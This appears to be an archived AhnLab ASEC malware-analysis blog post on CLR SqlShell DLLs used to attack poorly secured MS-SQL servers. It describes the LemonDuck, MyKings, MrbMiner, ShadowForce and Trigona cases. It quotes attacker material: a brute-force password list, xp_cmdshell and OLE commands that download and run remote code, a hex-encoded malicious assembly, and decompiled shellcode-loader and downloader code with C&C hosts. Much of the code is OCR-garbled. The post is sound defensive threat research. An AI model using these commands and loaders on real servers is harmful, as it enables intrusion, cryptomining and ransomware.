https://asec.ahnlab.com/en/52479/

Analysis of CLR SqlShell Used to Attack MS-SQL Servers - ASEC

By ATCP

Published: 2023-05-01 - Archived: 2026-04-05 14:09:41 UTC

This blog post will analyze the CLR SqlShell malware that is being used to target MS-SQL servers. Similar to
WebShell, which can be installed on web servers, SqlShell is a malware strain that supports various features after
being installed on an MS-SQL server, such as executing commands from threat actors and carrying out all sorts of
malicious behavior. MS-SQL servers support a method known as CLR Stored Procedure which allows the usage
of expanded features, and SqlShell is a DLL created with this method. CLR Stored Procedure is one of the major
methods that threat actors can use to execute malicious commands in MS-SQL servers along with the xp_cmdshell

command.

While CLR Stored Procedure contains a feature to execute given commands, it is possible that SqlShell was
created for a legitimate purpose. However, it is being used in almost all attacks that target MS-SQL servers. Threat
actors typically use SqlShell as a means to ultimately install malware such as CoinMiner or ransomware. In this
blog post, we will analyze and cover the features supported by various types of SqlShells and the actual cases

where they were used in attacks.
1. Overview

MS-SQL servers with simple passwords and are open publicly to the external internet are one of the main attack
vectors used when targeting Windows systems. Threat actors find poorly managed MS-SQL servers and scan them
before carrying out brute force or dictionary attacks to log in with admin privileges. Once the threat actors have

reached this point, they then utilize various means to install malware and gain control over the infected systems.

After a threat actor logs in to an MS-SQL server with an admin account, the most common method used to install
malware involves the xp_cmdshell command. Malicious commands that can even function in a Windows
environment can be executed through this command. In addition, other means to execute Windows commands
exist, such as registering commands to the OLE Stored Procedure or registering malicious commands in the task
called MS-SQL Agent Jobs. Aside from the aforementioned command execution method, another technique exists
where an executable implemented with specific features is created, registered, and made to perform those specific
features. MS-SQL servers support Extended Stored Procedure and CLR Stored Procedure DLLs for those
expanded features, allowing for certain features to be provided as developers create and register DLLs with their

desired features.

AhnLab Security Emergency response Center (ASEC) has published quarterly statistics through the ASEC Report
on malware strains that have been used in attacks against poorly managed MS-SQL servers. [1] According to the
statistics, there is a considerable amount of malware categorized as CLR Shell (SqlShell). All of these are malware
in the form of CLR Stored Procedure DLLs. Instead of using these pieces of malware on their own, most threat

actors use them during the installation process of other malware, such as ransomware and CoinMiner.
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Figure 2. Statistics on malware used in M5-SQL server attacks by type

The above figure covers the features provided by MS-SQL servers that can execute Windows OS commands and
categorizes them by their actual malware. SqlShells come in various forms, some of which can execute
commands, download/upload files, and even perform privilege escalation. Naturally, instead of receiving the
threat actor’s commands, they also come in the form of downloaders that download and install malware from
specific URLs.

2. Attack Methods Against MS-SQL

Generally, threat actors and malware search for environments where the MS-SQL service has been installed by
scanning for servers with open 1433 ports. After the scanning process, they attempt to log in to the confirmed MS-
SQL server through brute force or dictionary attacks. Additionally, most features that make it possible to execute

Windows OS commands require an SQL Admin (sa), in other words, an admin account.

There are cases where the threat actor does not personally perform the scan and dictionary attack, but instead, the
malware spreads by self-propagating to poorly managed MS-SQL servers. The most notable in this case is the
LemonDuck CoinMner. The following is a list of sa account passwords used by LemonDuck when performing

dictionary attacks.

[string[]]%eglobal:allpass = @("saadmin”,”123456","testl1”,"zinch”,"g_czechout™,"asdf"”,"Aal23456.",
"dubsmash”, "password”, "PASSWORD™,"123.com™, "admingl23", " Aal23456", "qwerl2345" , "Huawei@l23","123@abc",
"golden","123 !@#qwe”, "1gaz@WsX","Ab123","1gaz |QAZ", "Admin123", "Administrator”,"Abc123", "Adming123™,
"999999", "Passwerd”,"123qwe !@4" , "football”, "welcome","1","12","21","123"," 321", "1234","12345","123123",
"123321","111111","654321" ,"666666" ,"121212", "Aee66a", "222222"  "883888" , 1111, "555555", "1234567 ",
“12345678","123456789", "087654321", "admin”, "abc123", "abcd1234", "abcd@1234", "abcgl123”, "p@ssword”,
"P@ssword”, "p@sswérd”, "P@sswérd™, "P@SSWORD" , "P@SSWERD" , "PEwdrd” , "P@word”, " iloveyou", "monkey”, " login”,
"passwérd”, "master”,"hello", "qazusx","passwordl”, "Passwordl”, "qwerty”, "baseball”, "quertyuiop”,
"superman”, "1lgaz2wsx", "fuckyou” ,"123gwe”,"zxcvbn”, "pass”,"aaaaaa”,"love”,"administrator”, "qwel234A",
"guwel234a™,™ ","123123123","1234567800" , "88888888","111111111","112233","a123456", "123456a", "5281314",
"1g2w3edr”, "qwel23","al23456789","123456789a", "dragon”, "sunshine”,"princess"”,” | @#$% ~&*", "charlie",
"aal23456", "homelesspa”,"1g2w3edr5t”,"sa","sasa","5a123","sql2885", "sa2888" , "abc", "abcdefg”,
"sapassword”,"Aal2345678", "ABCabc123","sglpassword”, "sql2@@8","11223344", "admin888", "qwe1234","A123456",
"OPERADOR" , "Passwordl23”,"test123","NULL","user™,"test™, "Password@l”,"stagiaire”, "demo"”,"scan”,
"P@sswlrdl23”, "xerox”, "compta”)
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In addition, while LemonDuck uses dictionary attacks on MS-SQL servers during its internal propagation process,
also known as lateral movement, Kingminer [2] and Vollgar CoinMiner [3] employ brute force attacks on

externally accessible MS-SQL servers.

After obtaining an sa account or sa account privileges, the threat actor or malware either executes malicious
commands or installs the actual malware to obtain control over the infected system. Additionally, sa account
privileges only grant control over the MS-SQL database servers, and not the Windows OS itself. In other words,
although the execution of SQL commands is allowed, features that can directly impact the Windows OS are not

provided by default.

However, MS-SQL provides various features that allow the execution of OS commands in the Windows OS.
Exploiting this ultimately allows the execution of OS commands. The section below will cover the methods that
allow the execution of OS commands through MS-SQL database servers. These features have security
vulnerabilities as they are not default SQL. commands, so a majority of them are disabled by default. However,
admin accounts can enable these settings, meaning that logging in to an admin account makes it possible to access

these features. Therefore, control over a Windows OS can be obtained as a result of acquiring an sa account.
2.1. xp_cmdshell

xp_cmdshell commands have a feature that executes commands received as arguments in Windows shell.
Windows commands executed as xp_cmdshell commands are run via “cmd.exe /c” commands by the sqlservr.exe

process.

Out of the actual malware, LemonDuck downloads additional malware by utilizing xp_cmdshell. LemonDuck is
also prepared for cases where xp_cmdshell is unregistered instead of disabled as it also includes a re-registration
process.

try{db_query -sqlconnection $sqlconnection -sgqlcommand "exec sp_dropextendedproc 'xp_cmdshell’;"}catch{

write-host "sp_dropextendedproc error:”
write-host $ERROR[@]

}

try{db_query -sqlconnection $sqlconnection -sglcommand "dbcc addextendedproc('xp_cmdshell’, "xplog7@.d11")"}catch{
write-host "addextendedproc error:”
write-host $ERROR[@]

1

try{db_query -sqlconnection $sqlconnection -sqlcommand "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;
exec SP_CONFIGURE 'xp_cmdshell’, 1;RECONFIGURE;"}catch{

write-host "addextendedproc error:”

write-host $ERROR[E]
¥

try{

db_guery -sglconnection $sglconnection -sqlcommand "xp_cmdshell ""$cmd™""
}ecatch{

write-host "xp_cmdshell error:”

write-host $ERROR[@]
I

try{
db_query -sqlconnection $sglconnection -sglcommand "xp_cmdshell ""powershell iex(new-object net.webclient)
downloadstring( ' $down_url/if.bin?once")"""

2.2. OLE Stored Procedure
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The method that uses the OLE Stored Procedure involves exploiting OLE’s feature to execute other applications.
In this case, the other applications being the malicious commands or malware. OLE is also disabled like the

xp_cmdshell commands, so it must be enabled as well.
The following is a reproduction of the actual attack routine used by the MyKings CoinMiner malware.

CMD > sglemd -S [IP =4~] -U sa -P testsql

1> sp_configure ‘show advanced options’, 1;

2> RECONFIGURE;

3> go

1> sp_configure ‘Ole Automation Procedures’,1;

2> RECONFIGURE;

3> go

1> DECLARE @shell INT

2> EXEC SP_OAcreate ‘{72C24DD5-D70A-438B-8A42-98424B88AFB8}’,@shell OUTPUT
3> EXEC SP_OAMETHOD @shell,’run’,null, ‘regsvr32 /u /s /i:hxxp://js.f4321y[.]Jcom:280/v.sct
scrobj.dll’;

4> go

F =qlservr.exe (23200 "CARProgram FilesWhicrosoft SOL Server®MSSQLIS TESTSOLMMSSGLWBIinnY¥aglservrexe” —sTESTSOL
Y regsvrazexe (B628) “CERWindow st Sy stem32Wregs vriz.exe” AU fs Sfihttp/fjs 14321y com:280/v 5ot scrobj.dll

E=l

2.3. MS-SQL Agent Jobs

Like the method mentioned above, using the feature called MS-SQL Agent Jobs allows the registration of tasks
that execute Windows commands. SQL Server Agent supports the simple CmdExec method that executes OS

commands, and the ActiveScripting method that makes it possible to use JS or VBS scripts.

2.4. Extended Stored Procedure

MS-SQL servers support a method called the Extended Stored Procedure in order to provide an expanded range of
features. Threat actors create malicious DLLs, registers them with the sp_addextendedproc command, and then
executes the export function of the DLLs to load the malicious DLL and run the export function responsible for

malicious behavior.

2.5. CLR Stored Procedure

The CLR Stored Procedure is similar to the above Extended Stored Procedure, but it can be distinguished by its
use of .NET DLLs. In addition, an activation process like xp_cmdshell is required to register and use the CLR

Stored Procedure.

As mentioned above, LemonDuck uses not only xp_cmdshell, but also the CLR Stored Procedure.
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try{db_query -sqlconnection $sqlconnection -sqlcommand "sp_configure 'clr enabled’,1;RECONFIGURE WITH OVERRIDE™}
catch{

write-host "sp_configure error:”

write-host $ERROR[@]

try{db_query -sqlconnection $sqlconnection -sqlcommand "ALTER DATABASE master SET TRUSTWORTHY ON"}catch{
write-host "ALTER DATABASE error:”
write-host $ERROR[@]

try{db_guery -sglconnection $sqlconnection -sqlcommand "CREATE ASSEMBLY [evilclr] AUTHORIZATION [dbo] FROM

ox4D5AS0800360260004000008F FFFEB00E202200200800060480000086006008200000000000000060080026080006000800000000800080
080028808800600600E1FEAREGOBABSCD21B8814CCD21546869732070726F6772616D2663616E6E6F7420626520872756E26696E26444F5320
6D6F64652E8DEDBA2460066080000008504500004C01836668BBB6EDREA00EE0E000EEGEEEE0222008E013000080E00608066086006000006084
E2C0oeetbe20e60060460000000006108020600000020060040000006006000004000600600000000880000008020000080000000300468560
beloeacelbos 81606601660606000 1686000200600000060068008FC2EREER4FREE020G0426080A0G200008000200600600868680
0e6oeas8e80ee806086000C0E000EC42A00601C00E00EEE0600000EG0E800660000600600000000860060008008008080600600600800000

3. CLR SqlShell Analysis
3.1. Basic Type

In this section, SqlShells that only provide basic features such as command execution and file download will be
covered. SqlShell is often used to install additional malware during attack processes, so even these simple forms

are often found during attacks.

3.1.1. Command Execution (LEMONDUCK)

LemonDuck registers and uses the ExecCommand() method of the StoredProcedures class, and the
ExecCommand() method calls the RunCommand() method internally. With the name evilclr.dll, its only
functionality is a command execution routine. LemonDuck uses the CLR assembly’s ExecCommand() function

registered in this way to download additional payloads.

:@"1 ?’_Stemx"m' (‘:G_G'_D) B 4/ Taoken: 0x02000002 RID: 2
Qb WindowsBase (4.0.0.0) 7 putlic class StoredProcedures
P B PresentationCora (4.0.0.0) 3
b B PresentationFramework (4.0.0.0) g ¢4 Token: 0x06000001 RID: 1 RVA: O0x00002050 File Offset: 0x00000250
b & dnlib (3.0.0.0) 1 [SalProcedure]
b @ dnspy (5.0.0.0) ;i public static void ExecConmand{string cmd)
b & mscorlib (2.0.0.0) 12 ¢ i e
b & System.Data (2.0.0.0) | SqlEontext.P!De.Send( Command is running, please 'falt. b} - . .
b AT System (2.0.0.0) lg ; 2glContext . Pipe.Send{ StoredProcedures. RunCommand{ "cnd. exe”, " /c " + cnd))
4 7 evilcr (0.0.0.0) g
4 2 evilclrdll 17 /¢4 Token: 0xDB000D02 RID: 2 R¥A: 0x00002084 File Offset: 0x=00000284
= PE 18 public static string RunCommand{string filename, string arguments)
I B References LT
i 20 : Frocess process = new Process( )
P %, <Module> @02000001 2 | : process.Startinfo.Filenane = filename; ‘
4 % StoredProcedures @02000002 22 | bool flag = Istring.Ishul lOrEnpty(arguments};
b 55 Base Type and Interfaces = P Fled)
¥oe 24 4
b 5 Derived Types 25 : process. Start Info.draunents = arguments;
@ ctor() : void @06000003 26 | | }
@  ExecCommand(string) : void 2 1 process.StartInfo.CreateNoWindow = true
@ RunCommandistring, string) 28 i process. Startinfo.WindowStyle = ProcessWindowstyle.Hidden;
P System Configuration (2.0.0.0) 29 i process. 3tart Info.Useshel |[Execute = false:
b B system.Xml (2.0.0.0) 30 ;| process.Startinfo.RedirectStandardError = true;
31 . process. Startinfo.RedirectStandardutput = true:
3 | ! StringBuilder stdOutput = new StringBuilder(}
gi .\ process DutputDataReceived += delegate{obiect sender, DataReceivedEventaras args)
) 1
gg .0 stdOutput.ippendline{args.Data);
4 b
3 ¢ ostring value = null;
33 i try
39 H 1
40 0+ process.Start()

3.1.2. Download Command Support (SHAW20211224)
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Next is an SqlShell named “shaw20211224.d11” which provides not only the RunCommand() function that

executes received commands, but also the DownloadRun() function that downloads external files, and the

PutDatas() function that steals files from the received directories.

4 ' shaw20211224 (1.0.0.0) 102 : b
4 & shaw20211224.dll }gi H {iF (Directory . Exists(text2) && !File.Exists(text3d))
b PE

b =B References }gg : H gry
¥ o7 ] ! . Strean responseStream = ({VYebRequest.Create({requestUristring}
sf HitpllebResponse ). GetResponseStrean( )
1) 108 Stream stream = new FileStream{text3, FileMode.Create)
b Base Type and Interfaces 109 bytel] array = new byte[1024]:
4 Derived Types 110 for (int | = responseStream.Read(array, O, array.lendgth) j =
®  _cior() : void @06000004 array.Lenath}}
@ DownloadRunistring) : string 11 ! )
@ PutDatas(string) : string @06( Hg ! I 1 } streen Urite(array, 0, 1)
@ RunCommand(string) : string 114 ' ' Stream. Close( )
b & mscorlib (20.0.0) 115 responsestrean. Closel 1
b @ System (2.0.0.0) 16 text += "Download success!!Mriin";
b @ System Data (4.0.0.0) 17 3

3.1.3. Shellcode Execution (Metasploit)

Additionally, Metasploit, a penetration testing tool, also supports attacks that target these MS-SQL servers.

Metasploit provides various techniques ranging from the aforementioned dictionary attacks and privilege

escalation, to executing various OS commands, and of course, the CLR SqlShell technique is also provided.

Metasploit installs the following SqlShell during the attack process, which is responsible for executing the

received shellcode in the memory. Metasploit also provides simple forms of reverse shell, bind shell, and the

Meterpreter backdoor which provides various other features. Metasploit executes a shellcode that installs the

threat actor’s desired malware.

4G o 0.0 o
2 _Eq‘cs‘rfcaﬂfff: ﬂr'lcﬂll'd 5/ Token: 002000002 RID: 2
e sl et 6 public class StoredProcedures
baE PE 7
4 =-m References il A4 Token: 0x06000001 RID: 1
b =8 mscorlib @23000001 g [O1 Himpart( "kerne 327 3]
b w8 System.Dats @23000002 10 private static estern IntPtr Virtualdlloc(ntPtr IpStartAddr, UintPtr size, int FIAllocationType,
"8 kernel32 @1A000001 1
4 {} - 12 /4 Token: 0x06000002 RID: 2
4 %, Modules @02000001 13 [O1 1 Import{ “kernel32" )]
» Base Type and Interfaces 14 private static extern VlntPtr CreateThread{ IntPtr IDThrE§dAttr|hutES, UlntPtr deStackSize, IntPir
b o q param, int deGreationFlags, ref IntFir IpThreadld};
erived Types 15
4 %5 StoredProcedures @02000002 16 /¢ Token: 0x06000003 RID: 3 RVA: 0x00002050 File Dffset: 0x00000250
> i Base Type and Interfaces 17 [2q1Procedure]
> i Derived Types 18 public static woid ExecuteBf4Payvioad(string base64EncodedPayload)
@, () - void @06000005 19 {
@ orf) : void @06 20 bytel] array = Convert.FromBaseG43tring(base64EncodedPayload);
©, CreateThraad(Intetr, 21 IntPtr intPtr = StoredProcedures.¥irtualallocCIntPtr.Zero, (UIntPtri({ulong)((longlarray.Length))
© ExecuteBG4Payload(string) StoredProcedures.MEM_COMMIT, ’StnredPrncenu‘res‘PABE,EKEEUTE,READWRITE))
@, VirualAlloc(ntPr, Uintetr, | gg Ta;ir;al .Copy(a;’r:;e Elé |nFPtr, array.Lendath)
@, MEM_COMMIT : int @0400 AL e R
d K ; .
@, £AGE EXECUTE READWATTE g: : StoredProcedures.CreateThread( IntPtr.Zero, UIntPtr.Zero, intPtr, IntPtr.Zero, 0. ref zero);

The following figure is a log from our AhnLab Smart Defense (ASD), which displays a threat actor breaching a

poorly managed MS-SQL server and installing Metasploit’s “SqlClrPayload.dll” before executing the Metasploit’s

Meterpreter backdoor in the memory of the sqlservr.exe process.
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Process Module Target Behavior Data
B =qlservrexe Detected fileless
attack
B sqlservrexe Connects to network BE.214.26.%:13785
B sqlservrexe Detected fileless
attack
B sglservr.exe Creates executable
file B implcsftmp

3.2. Types That Provide Extended Features

The SqlShells covered above have relatively simple forms, but threat actors are capable of utilizing SqlShells with
a much broader range of features. The more features that are provided, the easier it becomes for threat actors to

perform malicious behaviors such as malware installation.

3.2.1. SQLHELPER (TRIGONA Ransomware)

Most notably, an SqlShell named SqlHelper is also often used in attacks. Due to the high number of variations, it
is believed that the source code is publicly available. Even the relatively simple malware below provides various

features such as command execution, adding user accounts, tunneling, and file handling.

4 A sqlhelper (1.0.0.0) ]'ES Pl : FELLIL,
4 2 sglhelperdll 161 ' GiE
&P 162 ooy
b =B References 163 C0 0 if (!command == “start_cmd"})
4 {} - 164 1 ! 1
b %%, <Module> @02000001 }EE 1 : return:
_ ‘[; SAbolves L0000 167 B ZalHelperProc, start _cnd{arguments )
Base Type and Interfaces 163 ' : ] i
b Derived Types 169 | H i
@ _ctor() : void @0600000F 170 H
@  add_user_to_group(string, string) : void ¢ 171 cooelse if (num o != 382411235107
@, ByPass(TcpClient, TepClient) : void @06 172 ! t ) \
@ check adming : void @06000007 s R B e
@ copy_file(string, string) : void @060000! 175 i e
@ create_user(string, string) : void @0B00( 176 ' : I3
@ disk_cap() : void @06000008 177 ¢ if (M{command == “check_admin”}}
@ read_file(string) - veid @06000005 178 Pk
@ SendResult(string) - void @0G00000E }gg - ! return;
@  SqlHelperistring, string, string, string) -\ 181 ' i SalHelperProc.check_admin );
@ start_cmd(string) : void @0E000003 182 ' i Ay
@ start_file(string, string) : veid @060000C 183 i '
@ start_msi(string) : void @06000002 184 ' else
@ start_tunnel(string, string, string) - void ¢ 185 o
® users_list() : void @0OG00000B 186 ' if (!{command == "start_msi”))
b B Systern.Data (2.0.0.0) :g; b 1 e
b O System.DirectoryServices (2.0.0.0) 189 ! i ' '

In addition, the SqlShell found in the previously covered Trigona ransomware [4] attack case was also SqlHelper.
The SqlHelper used by the Trigona threat actor also contains an MS16-032 vulnerability attack routine for
privilege escalation. The threat actor used this to execute the MS-SQL service with escalated privileges, and with

that privilege, they registered the Trigona ransomware to the service.
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3.2.2. CLRSQL (SHADOWFORCE Threat Group)

The SqlShell named CLRSQL is also similar to SqlHelper. When looking at the supported functions, such as tasks

related to files/directories/processes/accounts, its similarity to WebShell malware is apparent.

When compared to the types covered above, CLRSQL SqlShells have even more features. For example, there are
some that have been implemented with PingCastle. PingCastle is a tool that can be used to collect information

required for attacks in Active Directory environments.

@ RunListile(string) : void @0600000A 489 CLR.LOCALGROUP_WEHBERS_ INFO_3 localgroup_WEMBERS_ INFO_ = default{CLR.LOCALGROUP_HEHBERS_ INFO_3);
©  RunSaveFile(string) : void @06000005 430 10c4 | roup_MEMBERS. INFO_. Dona in = struserName:
@ RunwhoAml( : void @06000009 491 IF (CLR.MetLocalGroupaddienbers(nul |, str@roupMame, 2u, ref localaroup MEMBERS.INFO_, 1u) 1= 0}
@, SaveHEXToFile(string, string) : bool @0 152 1
@ SetHandlelnformati tr, int, inf) : b 193 SalContext.Pipe.Send( "Fail To Add User To Administrators®);
@ SetThreadToken tPtr) : bool @0 :g; i return result;
g‘ txiz:::zgtg;x::gjdpmmplewd[Dbjéct- 496 salContext.Pipe.Send( "Add User To Administrators Successful ly™)
a WebC gressChanged(al 2
@ B = bool 497 return true:
. 0.l 198 ]
- 499
@ 500 /¢ Token: Ox0B000015 RID: 21 RVA: 0x00002430 File Offset: 0x00000C30
b 501 public static void ROP()
502 {
503 Registrykey localMachine = Registry.LocalMachine:
504 string text = localMachine.OpenSubKey( "SYSTEHHCUrrentCant rolSet#Caontrol#Terninal Server®).Bet¥alue( "flenyTSConnect ions”},ToSt
505 Reaistrykey reaistrykey = localMachine.OpenSubKey( "SYSTEH¥HCUrrentControlSet#Contro ¥t Terninal ServertilinStations#RDP-Tep" )
506 string str = registryKey.GetValue( "Portiunber”).Tostring( };
507 registrykey.Close( );
508 If (text.Contains("0"))
509 {
510 SalContext.Pipe.Send("[+] ROP is already enabled");
4 %3 1s3 @02000007 511 SalContext.Pipe.Send("[+] ROP Part: " + strk
P 11 Base Type and Interfaces 512 return;
b ¥ Derived Types A Lt
e, void @06000055 T
@ 0 : void @DE00004C 516 /¢ Token: 0x08000016 RID: 22 RVA: 0x00002480 File Offset: 0x00000CED
©, Finalize( : void @0600 517 public static void AddUser(string IpUserName, strina IpPassword}
@ LsarClose(ref In 518 1
& LsarLookupsids o 519 If (1pUserName == nuil || *° == IpUserName || IpPassvord == nuil | ** == IpPassword)

CLRSQL SqlShell implemented with PingCastle is also used during the ShadowForce threat group’s attack
processes. ShadowForce is a threat group that has been active since 2013. They are known for their attacks
focused on Korean businesses and agencies. Their tendency to mainly attack MS-SQL servers is one of their

defining characteristics. [5]

Judging from how other malware that target poorly managed MS-SQL servers are also found in systems attacked

by ShadowForce, it can be inferred that ShadowForce also targets systems that use poor account credentials.

The ASD log below shows the sequential creation of ShadowForce’s other malware after “Tmp1C4E.tmp”, which
is the SqlShell, has been installed first. As such, ShadowForce uses the CLR Stored Procedure malware to install
additional malware after breaching poorly managed MS-SQL servers. This flow of events can be observed

similarly in most of their attack processes.
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3.2.3. CLR_MODULE (SHADOWFORCE Threat Group)

The SqlShell named CLR_module is also similar to CLRSQL as it supports PingCastle along with other similar
features. In terms of differences, CLR_module also provides privilege escalation tools such as BadPotato and
EfsPotato in addition to the features provided by CLRSQL. It can be assumed that these additional features are the

reason why there are many cases where CLRSQL is also found during the attack processes of ShadowForce.

4 7 CLR module (0.0.0.0) public static void GlrExec{string cmd)
i

11
4% CIR moduled 12 i i
b= pE li {\f (emd. Containst "clr_dumplsass” })
P =u References i ' ; stringl] array = cmd.Split{new charl]
A 18 ! {
b %5, <Module> @02000001 7 3
b %z StoredProcedures @02000008 18 g p ; : 7 2
o B 19 ! string environment¥arigble = Environment.GetEnvironment¥ariablel "SystenRoot” );
4 {} CLR module i i i
20 : . string dumpDir = string,Format( " {0MMTenp®", environnentVariable):
B D000 21 i if (array.lenath == 1)
te @02000025 22 [ '
—» basefun @02000024 23 ! © dumplsass, runtdumpDir )
b % COMM_FAULT OFFSETS @0200001F 24 I return;
b %%, download @02000006 25 (O
b %%, dumplsass @02000007 28 : dump | sass, runfarray[1] )
b %5, EfsrTiny @0200001C g; : i return;
> %, exec @02000013 :
29 . else
> %%, getav @02000011 30 [
> #3 LocalGroupUserHelper @02000002 31 if (emd. Contains("clr_pwd™))
b =% MIDL_STUB_DESC @02000023 3z {
b %, Potatc @02000014 33 basefun.GetCurrentDir( )
b %%, ProcessWaitHandle @02000018 gg ! i return;
> %%, RDP @02000012 I -~ %
P T} RPC_CLIENT INTERFACE @02000022 ¥ i | rdesdContainslElnols ]
P 7% RPC_SYNTAX IDENTIFIER @02000021 38 stringl] array2 = cmd.Splitinew char[]
b % RPC_VERSION @02000020 39 1
b %, shellcodeloader @02000009 40 gl o
P {} PingCastle jé i ?;;(arrayz Length == 1}
b {} PingCastle RPC bt [ : ;

3.3. CoinMiner Installation

In the section above, we covered the form similar to WebShell that would receive and execute specific commands
from the threat actor. In this section, the SqlShells self-implemented with certain features will be covered. Most of
these forms aim to install CoinMiner, and therefore, the SqlShells used in these attacks are usually responsible for

functioning as downloaders or droppers.
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MrbMiner was one of the main CoinMiners that was distributed to MS-SQL servers in the past. [6] It was first

confirmed in 2020, and it ultimately installs XMRig CoinMiner. The SqlShell used during the installation process

of MrbMiner possesses its own analysis disruption techniques, but unlike the forms mentioned above, it only has a

download feature to install MrbMiner.

45

46

b = References 17
18

@02000001 49

ies @02000002 :?

se Type and Interfaces 52

b Derived Types 53
cctor() : void @0600000F 54
ctor() : void @0600000E 55

@, Decompress(byte[]) : byte[] @0600000D 56
@ Findwindow(string, string) - IntPir @0600C g;
@, GetAssembly() : byte[] @06000009 59
@, GetAssembly35( - byte[] @06000008 B0
@, GetPhysicalFileName() : string @06000004 Bl
@  ProgramStatus(string) : Sglstring @06000( B2
@, Receivel t, bytel]) - bool @0600000C 53
@, Send(s bytel]) : bool @06000008 64
@, sendAndReceiveFromServerBuffer(string) 65
@ sqiManagement( : SqlString @06000002 oo
@ sglManagementStatus( tring @060C 52
@ TaskProgramStatus() : S g @060000( 650
@, userisLoging : bool @060C0007 70

I (tdirectoryinfo.Exists)
{
directoryinfo.Createl )
i
if ({directoryInfo.ittributes & Fileattributes.Hidden) != FileAttributes Hidden)
%

directoryinfo.Attributes I= Fileattributes Hidden;
]
byte[] array = Froperties.Getdssemblyl )
array = ((array == null} ? File Readt||Bytes(Properties. assenblyFilefath)
if (array != null)
1

arrayl

try
*
File.WriteAl|Bytes(Properties.assenblyFilePath, array):
new Process
Startinfo =
{

FileNane = Propertiss.assemblyFilePath,
WorkingDirectory = Properties.assemblyFolderPath,
Windowstyle = ProcesslindowStyle.Hidden

bostart( )

cateh

Although they may vary according to the version, the following hard-coded C&C URLs can be directly

confirmed.

private static bytel] SendindReceiveFromServerBufferistring datal
{

bytell result = null:
focket socket =
try
1
socket.Connect{ "vihansoft.ir", 3341}
bytel] array = Encoding UTFE, GetBytesidata)
byte[] array2 = BitConverter GetBytes(array.
i (Froperties, Send{socket, arrav2) &% Prope
{
arrav? = new byteld]
if (Froperties.Receive(socket, array2))
{
array = new byte[BitConverter. Tolnt:
if (Froperties.Receivelsocket, array
{
result = array:

3.3.2. MYKINGS

new Socket(AddressFamily. InterNetwork, SocketType.Stream, ProtocolType.Tepd:

private static bytel] SendindReceiveFromServerBuffer{string data)

bytel] result
ocket socket

3
t

{

ry

null;
new Socket(AddressFanily, Interletwork, SocketType.Strean,

ProtocolType, Top )

try
{
socket.Connect{ "adninserver.online”, 1001 )]
catch
{
H
if (!socket.Connected)
{
try
1
socket . Connect( "pcadmin.anline”, 1001}
catch
1
i
if (!socket.Connected)
socket.Connect{"54.36.10.73", 1001}

}
+
bytel] array = Encoding,UTFE, GetBytes{data)
bytel] array2 = BitConverter.GetBvtes(array, Length}
if (UserDef inedFunct ions,Sendlsocket, arrav2) &% UserDefinedFunctions,Send(socket, array))
{
array? = new bytel[4]:

MyKings CoinMiner is distributed through various means, and is used in several methods of attacks against MS-

SQL servers as well. The first method is the OLE Stored Procedure covered above, and there are other methods

like the following, where CLR assembly is used via the ExecCode.dll file.
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4 @' ExecCode (0.0.0.0) 9 public class StoredProcedures
4 2 ExecCodedll 10
b= PE " £¢ Token: 0x06000001 RID: 1 RWA: Ox00002050 File Offset: 0x00000250
b =m References 12 [S9lFrocedure]
}3 {DUDIiC static void ZalStoredProcedure!()
viodule= @02000001 . .
toredProcedures @02000002 :g ! ;Etrizémis:: ; 20
B/ Typa and nteslaces 17 U IF (text.lenath == 0)
Derived Types 18 Y

@ _ctor() : void @06000006 14 | SloredProcedures. HyDownloadFile{ "http: //www.cya2016 . xyz: 8888/clr. tut ",

@ DownloadFile(string, string, int) i i timeout i

@ MyDownloadFile(string, inf) : bo 20 ; return:

®  RunProcess(string, string) : bool 21 ok ) )

© sqlStoredProcedurel) - void @C Sg : StoredProcedures. MyDownloadFileltext, timeout )

@ Write(string) : void @06000005 94
25 ¢ Token: 0x06000002 RID: 2 RWA: Ox00002024 File Offset: 0x00000224
Sg public static bool RunProcess{string Filename, string arguments)

1

2a i return new Frocess
29 | i
ao i Startinfo =
a1 i} 1
32 i Windowstyle = ProcessWindowstyle Hidden,
33 ; Filedame = filename,
34 ! Arguments = arguments
35 + }
36 ¢ bostart():

The SqlStoredProcedure1() method downloads a text file from a specific URL, which contains URLs where
additional payloads can be downloaded. Afterward, it parses these URLs to install the actual MyKings payload.
ExecCode.dll has a simple form like the one shown above, but more complex forms have been discovered among

the CLR assemblies used by MyKings.

Similar to ExecCode.dll, MSSqlInterface.dll is also executed through the StoredProcedures class and
SqlStoredProcedure() method, but it also provides additional features. First, it decrypts the C&C URL encoded
into OxFA as a 1-byte XOR during its initial routine. It then sends the basic information that has been stolen to the

C&C server regularly on the main loop, and it downloads and executes files and shellcode.

4 & mssqlinterface dil - 208 /¢ Token: Dx06000011 RID: 17 RVA: 0x0000245C File DFfset: 0x0000065C
bR opE 206 private void BatchDownLoadExec(string sContent)
207 {

b =B References

Sgg . string[] array = sContent .Split{new stringl] public Operatef)
H { L
210 : e byte[] bytes = new oytel]
b Procedures @02000002 2n r b, StringSplitOptions.RemoveEnptyvEntries); {
4 {} sqicLl 212 If (array.Lengtn == 3) 146,
4 ® Operste ®02000003 213 HE 142,
b Base Type and Interfaces 51; i (\F (array[0].Length == 4 88 !(array[1].Length < 142,
P 15 Derived Types 218 string szURL = arrav(0]; e
9, cetor( * void @06000017 217 : string text = array[i]: i
© ctor : void @0600000A 218 string b = arrav(2]; a3
@, AnalyzeBufToDo(Cperate OP_TYPE, strir 219 iIf C0u == Operate.URLDownloadToF i le IntPtr 150’
@, BatchDownloadExec(string) - void @0F 220 1 T
@, CreateThread(uint, uint, uint, Inter, 221 if ("1" == b} 155,
@, DownloadPayload(string, Operate.0P o2 i ¢ . i
@  ExecuteShellcode(byte(]) : beol @600 ggg | 3 Opeinte:BinExecttext. 00: ZIJEI:
@, GetCPUMemoryStatus(out string) - void 225 H ' 212,
@, GetLoginStr(string, out siring, out string 226 | 3 141,
@ GetSysteminfo(ref Operate.CPU_INFO) 21 K 138,
@ GetWebBin(string) : byte] @06000008 273 158,
@ GetWebContent(string) : st 230 /¢ Token: Dx0BO0001Z RID: 18 RvA! Ox00002510 File DFfse 202,
@ GlobalMemoryStatus(ref O 231 private void Hor{ref bytel] abData) 203,
@ MainLoopExec() : void @600 232 ( ] _ 200,
® MDSStr(string) : string @0500000D ggg H fﬂ" int | =0; i <abData.length i++} 204,
@ UploadLogininfo(string) - bool @06000 S R 212,
@ URLDownloadToFile(intetr, string, string S i b e 147,
@, VirtualAllec(uint, uint, uint, uint) : uint 237 i ! arraylnun] = 580; :g:
@, WaltForsingleObject(IntPtr, uint) - uint + 238 i T
